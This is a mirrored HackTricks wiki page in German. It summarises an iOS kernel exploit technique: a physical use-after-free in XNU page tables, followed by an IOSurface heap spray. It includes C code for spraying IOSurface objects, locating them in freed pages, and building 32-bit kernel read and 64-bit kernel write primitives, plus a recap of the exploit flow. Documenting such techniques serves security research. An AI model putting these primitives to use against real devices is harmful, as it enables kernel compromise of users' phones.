mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
209 lines
10 KiB
Markdown
209 lines
10 KiB
Markdown
# iOS Exploiting
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## Physikalisches Use-After-Free
|
|
|
|
Dies ist eine Zusammenfassung des Beitrags von [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html). Weitere Informationen über den Exploit mit dieser Technik finden Sie unter [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd).
|
|
|
|
### Speicherverwaltung in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
|
|
|
Der **virtuelle Adressraum** für Benutzerprozesse auf iOS reicht von **0x0 bis 0x8000000000**. Diese Adressen sind jedoch nicht direkt auf physischen Speicher abgebildet. Stattdessen verwendet der **Kernel** **Seiten-Tabellen**, um virtuelle Adressen in tatsächliche **physische Adressen** zu übersetzen.
|
|
|
|
#### Ebenen der Seiten-Tabellen in iOS
|
|
|
|
Seiten-Tabellen sind hierarchisch in drei Ebenen organisiert:
|
|
|
|
1. **L1-Seitentabelle (Ebene 1)**:
|
|
* Jeder Eintrag hier repräsentiert einen großen Bereich virtuellen Speichers.
|
|
* Sie deckt **0x1000000000 Bytes** (oder **256 GB**) virtuellen Speicher ab.
|
|
2. **L2-Seitentabelle (Ebene 2)**:
|
|
* Ein Eintrag hier repräsentiert einen kleineren Bereich virtuellen Speichers, speziell **0x2000000 Bytes** (32 MB).
|
|
* Ein L1-Eintrag kann auf eine L2-Tabelle verweisen, wenn er den gesamten Bereich nicht selbst abbilden kann.
|
|
3. **L3-Seitentabelle (Ebene 3)**:
|
|
* Dies ist die feinste Ebene, bei der jeder Eintrag eine einzelne **4 KB** Speicherseite abbildet.
|
|
* Ein L2-Eintrag kann auf eine L3-Tabelle verweisen, wenn eine genauere Kontrolle erforderlich ist.
|
|
|
|
#### Abbildung von virtuellem zu physischem Speicher
|
|
|
|
* **Direkte Abbildung (Blockabbildung)**:
|
|
* Einige Einträge in einer Seiten-Tabelle **bilden einen Bereich virtueller Adressen** auf einen zusammenhängenden Bereich physischer Adressen ab (wie eine Abkürzung).
|
|
* **Zeiger auf die Kind-Seitentabelle**:
|
|
* Wenn eine genauere Kontrolle erforderlich ist, kann ein Eintrag in einer Ebene (z. B. L1) auf eine **Kind-Seitentabelle** in der nächsten Ebene (z. B. L2) verweisen.
|
|
|
|
#### Beispiel: Abbildung einer virtuellen Adresse
|
|
|
|
Angenommen, Sie versuchen, auf die virtuelle Adresse **0x1000000000** zuzugreifen:
|
|
|
|
1. **L1-Tabelle**:
|
|
* Der Kernel überprüft den L1-Seitentabelle-Eintrag, der dieser virtuellen Adresse entspricht. Wenn er einen **Zeiger auf eine L2-Seitentabelle** hat, geht er zu dieser L2-Tabelle.
|
|
2. **L2-Tabelle**:
|
|
* Der Kernel überprüft die L2-Seitentabelle auf eine detailliertere Abbildung. Wenn dieser Eintrag auf eine **L3-Seitentabelle** verweist, fährt er dort fort.
|
|
3. **L3-Tabelle**:
|
|
* Der Kernel sucht den endgültigen L3-Eintrag, der auf die **physische Adresse** der tatsächlichen Speicherseite verweist.
|
|
|
|
#### Beispiel der Adressabbildung
|
|
|
|
Wenn Sie die physische Adresse **0x800004000** in den ersten Index der L2-Tabelle schreiben, dann:
|
|
|
|
* Virtuelle Adressen von **0x1000000000** bis **0x1002000000** werden auf physische Adressen von **0x800004000** bis **0x802004000** abgebildet.
|
|
* Dies ist eine **Blockabbildung** auf der L2-Ebene.
|
|
|
|
Alternativ, wenn der L2-Eintrag auf eine L3-Tabelle verweist:
|
|
|
|
* Jede 4 KB-Seite im virtuellen Adressbereich **0x1000000000 -> 0x1002000000** würde durch einzelne Einträge in der L3-Tabelle abgebildet.
|
|
|
|
### Physikalisches Use-After-Free
|
|
|
|
Ein **physikalisches Use-After-Free** (UAF) tritt auf, wenn:
|
|
|
|
1. Ein Prozess **Speicher** als **lesbar und schreibbar** **allokiert**.
|
|
2. Die **Seiten-Tabellen** werden aktualisiert, um diesen Speicher auf eine spezifische physische Adresse abzubilden, auf die der Prozess zugreifen kann.
|
|
3. Der Prozess den Speicher **deallokiert** (freigibt).
|
|
4. Aufgrund eines **Bugs** vergisst der Kernel, die Abbildung aus den Seiten-Tabellen zu entfernen, obwohl er den entsprechenden physischen Speicher als frei markiert.
|
|
5. Der Kernel kann dann diesen "freigegebenen" physischen Speicher für andere Zwecke, wie **Kernel-Daten**, **reallokieren**.
|
|
6. Da die Abbildung nicht entfernt wurde, kann der Prozess weiterhin **lesen und schreiben** in diesen physischen Speicher.
|
|
|
|
Das bedeutet, dass der Prozess auf **Seiten des Kernel-Speichers** zugreifen kann, die sensible Daten oder Strukturen enthalten könnten, was einem Angreifer potenziell ermöglicht, **Kernel-Speicher zu manipulieren**.
|
|
|
|
### Exploitation-Strategie: Heap Spray
|
|
|
|
Da der Angreifer nicht kontrollieren kann, welche spezifischen Kernel-Seiten auf den freigegebenen Speicher zugewiesen werden, verwenden sie eine Technik namens **Heap Spray**:
|
|
|
|
1. Der Angreifer **erstellt eine große Anzahl von IOSurface-Objekten** im Kernel-Speicher.
|
|
2. Jedes IOSurface-Objekt enthält einen **magischen Wert** in einem seiner Felder, was die Identifizierung erleichtert.
|
|
3. Sie **durchsuchen die freigegebenen Seiten**, um zu sehen, ob eines dieser IOSurface-Objekte auf einer freigegebenen Seite gelandet ist.
|
|
4. Wenn sie ein IOSurface-Objekt auf einer freigegebenen Seite finden, können sie es verwenden, um **Kernel-Speicher zu lesen und zu schreiben**.
|
|
|
|
Weitere Informationen dazu finden Sie unter [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups).
|
|
|
|
### Schritt-für-Schritt Heap Spray Prozess
|
|
|
|
1. **IOSurface-Objekte sprühen**: Der Angreifer erstellt viele IOSurface-Objekte mit einem speziellen Identifikator ("magischer Wert").
|
|
2. **Freigegebene Seiten durchsuchen**: Sie überprüfen, ob eines der Objekte auf einer freigegebenen Seite zugewiesen wurde.
|
|
3. **Kernel-Speicher lesen/schreiben**: Durch Manipulation der Felder im IOSurface-Objekt erhalten sie die Fähigkeit, **willkürliche Lese- und Schreibvorgänge** im Kernel-Speicher durchzuführen. Dies ermöglicht ihnen:
|
|
* Ein Feld zu verwenden, um **jeden 32-Bit-Wert** im Kernel-Speicher zu **lesen**.
|
|
* Ein anderes Feld zu verwenden, um **64-Bit-Werte** zu **schreiben**, wodurch eine stabile **Kernel-Lese-/Schreibprimitive** erreicht wird.
|
|
|
|
Generieren Sie IOSurface-Objekte mit dem magischen Wert IOSURFACE\_MAGIC, um später danach zu suchen:
|
|
```c
|
|
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
|
if (*nClients >= 0x4000) return;
|
|
for (int i = 0; i < nSurfaces; i++) {
|
|
fast_create_args_t args;
|
|
lock_result_t result;
|
|
|
|
size_t size = IOSurfaceLockResultSize;
|
|
args.address = 0;
|
|
args.alloc_size = *nClients + 1;
|
|
args.pixel_format = IOSURFACE_MAGIC;
|
|
|
|
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
|
io_connect_t id = result.surface_id;
|
|
|
|
(*clients)[*nClients] = id;
|
|
*nClients = (*nClients) += 1;
|
|
}
|
|
}
|
|
```
|
|
Suche nach **`IOSurface`**-Objekten in einer freigegebenen physischen Seite:
|
|
```c
|
|
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
|
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
|
int nSurfaceIDs = 0;
|
|
|
|
for (int i = 0; i < 0x400; i++) {
|
|
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
|
|
|
for (int j = 0; j < nPages; j++) {
|
|
uint64_t start = puafPages[j];
|
|
uint64_t stop = start + (pages(1) / 16);
|
|
|
|
for (uint64_t k = start; k < stop; k += 8) {
|
|
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
|
info.object = k;
|
|
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
|
if (self_task) *self_task = iosurface_get_receiver(k);
|
|
goto sprayDone;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
sprayDone:
|
|
for (int i = 0; i < nSurfaceIDs; i++) {
|
|
if (surfaceIDs[i] == info.surface) continue;
|
|
iosurface_release(client, surfaceIDs[i]);
|
|
}
|
|
free(surfaceIDs);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
### Erreichen von Kernel Lese-/Schreibzugriff mit IOSurface
|
|
|
|
Nachdem wir die Kontrolle über ein IOSurface-Objekt im Kernel-Speicher (zu einer freigegebenen physischen Seite, die aus dem Userspace zugänglich ist, gemappt) erlangt haben, können wir es für **willkürliche Kernel-Lese- und Schreiboperationen** verwenden.
|
|
|
|
**Wichtige Felder in IOSurface**
|
|
|
|
Das IOSurface-Objekt hat zwei entscheidende Felder:
|
|
|
|
1. **Use Count Pointer**: Ermöglicht einen **32-Bit-Lesezugriff**.
|
|
2. **Indexed Timestamp Pointer**: Ermöglicht einen **64-Bit-Schreibzugriff**.
|
|
|
|
Durch das Überschreiben dieser Zeiger leiten wir sie an willkürliche Adressen im Kernel-Speicher um, was Lese-/Schreibfähigkeiten ermöglicht.
|
|
|
|
#### 32-Bit Kernel Lesezugriff
|
|
|
|
Um einen Lesezugriff durchzuführen:
|
|
|
|
1. Überschreiben Sie den **use count pointer**, um auf die Zieladresse minus einem 0x14-Byte-Offset zu zeigen.
|
|
2. Verwenden Sie die Methode `get_use_count`, um den Wert an dieser Adresse zu lesen.
|
|
```c
|
|
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
|
uint64_t args[1] = {surfaceID};
|
|
uint32_t size = 1;
|
|
uint64_t out = 0;
|
|
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
|
return (uint32_t)out;
|
|
}
|
|
|
|
uint32_t iosurface_kread32(uint64_t addr) {
|
|
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
|
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
|
uint32_t value = get_use_count(info.client, info.surface);
|
|
iosurface_set_use_count_pointer(info.object, orig);
|
|
return value;
|
|
}
|
|
```
|
|
#### 64-Bit Kernel Write
|
|
|
|
Um einen Schreibvorgang durchzuführen:
|
|
|
|
1. Überschreiben Sie den **indizierten Zeitstempelzeiger** mit der Zieladresse.
|
|
2. Verwenden Sie die Methode `set_indexed_timestamp`, um einen 64-Bit-Wert zu schreiben.
|
|
```c
|
|
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
|
uint64_t args[3] = {surfaceID, 0, value};
|
|
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
|
}
|
|
|
|
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
|
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
|
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
|
set_indexed_timestamp(info.client, info.surface, value);
|
|
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
|
}
|
|
```
|
|
#### Exploit Flow Recap
|
|
|
|
1. **Trigger Physical Use-After-Free**: Freie Seiten sind zur Wiederverwendung verfügbar.
|
|
2. **Spray IOSurface Objects**: Viele IOSurface-Objekte mit einem einzigartigen "magischen Wert" im Kernel-Speicher zuweisen.
|
|
3. **Identify Accessible IOSurface**: Ein IOSurface auf einer freigegebenen Seite finden, die Sie kontrollieren.
|
|
4. **Abuse Use-After-Free**: Zeiger im IOSurface-Objekt ändern, um beliebiges **Kernel-Lesen/Schreiben** über IOSurface-Methoden zu ermöglichen.
|
|
|
|
Mit diesen Primitiven bietet der Exploit kontrollierte **32-Bit-Lesevorgänge** und **64-Bit-Schreibvorgänge** im Kernel-Speicher. Weitere Jailbreak-Schritte könnten stabilere Lese-/Schreibprimitiven erfordern, die möglicherweise das Umgehen zusätzlicher Schutzmaßnahmen (z. B. PPL auf neueren arm64e-Geräten) erfordern.
|
|
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|